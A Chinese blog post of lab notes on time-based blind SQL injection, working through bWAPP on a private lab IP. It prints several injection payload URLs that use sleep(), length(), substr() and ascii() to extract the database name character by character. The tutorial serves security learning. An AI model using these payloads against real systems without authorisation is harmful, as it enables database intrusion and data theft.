[15]-SQL注入之时间盲注

一、时间盲注

1.定义

  1. 物理反馈
    • 注入特定语句
    • 通过物理反馈(如时间)判断注入是否成功
  2. 适用场景
    • 无回显

2.原理示意

  1. 载荷构造
    原始语句如下,?是需要用户输入的:

    select * from user where id = '?'
    

    构造载荷即在?处构造,如:

    select * from user where id = '1' and sleep(2) # '
    

    这里构造的?1' and sleep(2) # ,这样,当user表中存在id=1的用户时,就会执行sleep(2),休眠2秒。

  2. 注意

    • 这里的sleep()函数为mysql自带函数。
    • 执行sleep()函数后,等待睡眠时间结束才会返回给前端响应。

3.时间盲注常用函数

  1. substr(a, b, c)
    从a字符串的第b位开始截c个字符
  2. count()
    返回符合指定条件的行数
  3. ascii()
    返回特定字符的 ASCII 值
  4. length()
  5. left(a, b)
  6. sleep(n)
  7. 其他函数
    找数据库官网的reference学习,挖掘可以利用的函数。

二、时间盲注应用

1.靶场环境

  1. bwapp

  2. low

  3. SQL Injection - Blind - Time-Based

2.盲注实战

  1. 正常访问,分析注入方式

    正常访问,无回显,报错注入、布尔盲注等均无法获得反馈,因此可以尝试时间盲注。
    image-20230328085428360

  2. 判断时间盲注是否存在
    利用sleep()函数和or的方式判断是否存在注入漏洞

    # 1.可执行的payload,注意字符型,要单引号闭合;注释符号--后面有空格;or而不是and
    http://192.168.20.130/sqli_15.php?title=t' or sleep(5) -- &action=search
    # 2.采用#号注释无法执行
    http://192.168.20.130/sqli_15.php?title=t' or sleep(5) # &action=search
    # 3.询问师傅,师傅猜测#号可能被转义,使用%23尝试,发现能够触发延时
    

    不断调整payload,实现盲注效果。
    image-20230328085857218

  3. 尝试手工利用时间盲注----length()函数使用
    例:判断数据库长度,思路如下:
    利用and逻辑连接的特性,只要有一个不为true则整个sql语句无法被执行,因此可以在sleep()函数前加入判断语句即可。注意这里需要已知一个电影名称,World War Z

    http://192.168.20.130/sqli_15.php?title=World War Z' and sleep(2)-- &action=search
    

    关于这里电影名称的获取方式,老师提供可使用' or 1=1 #获取,即通过前几篇文章攻击拿到一个电影名称。
    采取一定的策略,快速判断数据库长度,得到长度为5,payload如下

    http://192.168.20.130/sqli_15.php?title=World War Z' and length(database())=5 and sleep(3)-- &action=search
    

    image-20230328100728039

  4. 进一步获取信息----substr(a,b,c)函数使用
    至此,我们已经获取到了数据库长度,通过上述获取思路,同样可以尝试利用其他mysql函数获取数据库内详细信息。
    构造payload:

    http://192.168.20.130/sqli_15.php?title=World War Z' and substr(database(),1,1)='b' and sleep(3)-- &action=search
    

    本段payload,利用substr()函数截取了数据库名称的第1位(从第1位开始截取1个),并判断改位是否为字符b,如果是,则会执行sleep()函数,若否则不会。
    因此,通过返回时间可以一个一个的判断出数据库的表名。
    image-20230328102104256

  5. ASCII()利用

    依据该函数的功能,结合ascii表可知,该函数需要结合ascii表使用,我们可以改造4中payload为:

    http://192.168.20.130/sqli_15.php?title=World War Z' and ascii(substr(database(),1,1))=98 and sleep(3)-- &action=search
    

    这里之所以是98因为,b字符对应的ascii为98

    之所以介绍该函数,为下一步编写自动化脚本铺垫。

  6. 自动化脚本编写、利用

3.课后作业

  1. 描述
    • 完善自动化脚本,以获得登录用户名和密码
  2. 源码
  3. 思路
  4. 代码

4.总结

  1. 技能
    • 时间盲注原理
    • 时间盲注利用方式
    • python自动化脚本撰写
  2. 思路
    • 无回显处理
    • 字符型判断
    • 注释符号切换
    • 自动化及脚本撰写代替手工
    • 漏洞挖掘思路,系统/语言自身函数为我所用,官方的reference就是最好的东西。
  3. 收获
    • 要多尝试,不断的尝试,漏洞是试出来的
    • 勇敢者游戏,坚持总会挖出漏洞
    • 渗透从不是独立于开发的,渗透的基础在于对目标系统的熟练程度、逻辑思维的缜密程度
posted @ 2023-03-28 16:28  缪白(Miubai)  阅读(903)  评论(0编辑  收藏  举报